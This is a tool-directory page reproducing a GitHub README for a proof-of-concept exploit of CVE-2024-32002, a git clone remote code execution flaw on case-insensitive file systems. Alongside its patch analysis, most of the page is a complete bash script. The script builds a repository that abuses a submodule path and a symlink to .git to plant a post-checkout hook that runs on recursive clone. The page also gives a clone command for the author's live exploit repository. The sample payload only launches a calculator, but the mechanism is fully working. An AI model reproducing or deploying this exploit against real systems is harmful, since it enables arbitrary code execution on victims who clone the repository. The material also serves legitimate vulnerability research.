Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
git_rce — CVE-2024-32002 POC | Kitploit
Tools/GitHubGitHub/roronoawjd/git_rce
Vulnerability AnalysisExploitationPapers & ResearchLearning & EducationPayload Development
GitHubroronoawjd/git_rce

git_rce

CVE-2024-32002 POC

View Repository
2 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Remote Code Execution Attack via git clone (CVE-2024-32002)

Contributors

  • 이정우@Roronoawjd

Background

This vulnerability is a Remote Code Execution (RCE) vulnerability that occurs when cloning a git repository containing submodules on case-insensitive file systems such as Windows and macOS. RCE is a remote code execution vulnerability that allows an attacker to execute arbitrary commands on the target system, making it a very critical vulnerability. A/modules/x and a/modules/x are treated as the same path. The vulnerability is triggered by utilizing this characteristic along with symbolic links.

Vulnerability Information

  • This PoC works only on Windows and macOS systems.
  • If git config --global core.symlinks false is set, the attack does not work.

Vulnerability Analysis

Check the vulnerability patch

builtin/submodule--helper.c

dir_contains_only_dotgit function: Checks if the directory contains only .git files or also other directories/files, and returns an error if there are other files or directories. clone_submodule function: Before cloning, checks if the submodule directory exists and is empty.

t/t7406-submodule-update.sh

1. Global Configuration

root@kitploit:~
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
  • This script sets Git configuration options. It enables Git's file protocol via protocol.file.allow always.
  • It allows the use of symbolic links by setting core.symlinks true.
  • The tell_tale_path is used to verify whether the RCE has worked properly.

2. Hook Setup

root@kitploit:~
git init hook &&
(
  cd hook &&
  mkdir -p y/hooks &&
  write_script y/hooks/post-checkout <<-EOF &&
  echo HOOK-RUN >&2
  echo hook-run >"$tell_tale_path"
  EOF
  git add y/hooks/post-checkout &&
  test_tick &&
  git commit -m post-checkout
) &&
  • Initializes the hook repository.
  • Creates a hook called post-checkout.
  • Commits the hook script to the repository.

3. Main Repository Setup

root@kitploit:~
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
  cd captain &&
  git submodule add --name x/y "$hook_repo_path" A/modules/x &&
  test_tick &&
  git commit -m add-submodule &&
  printf .git >dotgit.txt &&
  git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
  printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
  git update-index --index-info <index.info &&
  test_tick &&
  git commit -m add-symlink
) &&
  • Stores the path of the hook.
  • Initializes another repository named captain.
  • Adds the hook repository as a submodule at A/modules/x and commits.
  • Creates a symbolic link a pointing to .git.

4. Test

root@kitploit:~
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
  • Checks if the RCE was triggered.

PoC Creation

root@kitploit:~
#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

Git has hooks that allow scripts to be executed automatically when certain events occur. They are located in the .git/hooks directory. post-checkout is a script that runs after a checkout.

image

The process is as follows:

  1. A symbolic link a pointing to .git is created in the cloned repository git_rce.
  2. When cloning, the submodule path is recognized as a/modules/x instead of A/modules/x.
  3. Since a points to .git, /modules/x is created under .git and y/hooks/post-checkout is created.
  4. After successful checkout, git_rce/.git/modules/x/y/hooks/post-checkout is automatically executed, causing RCE.

PoC (Proof of Concept)

⚠️Warning: Do not use this vulnerability maliciously!

root@kitploit:~
git clone --recursive https://github.com/Roronoawjd/git_rce.git

Note: On Windows, you must open cmd or bash shell with administrator privileges to run.

Download Tool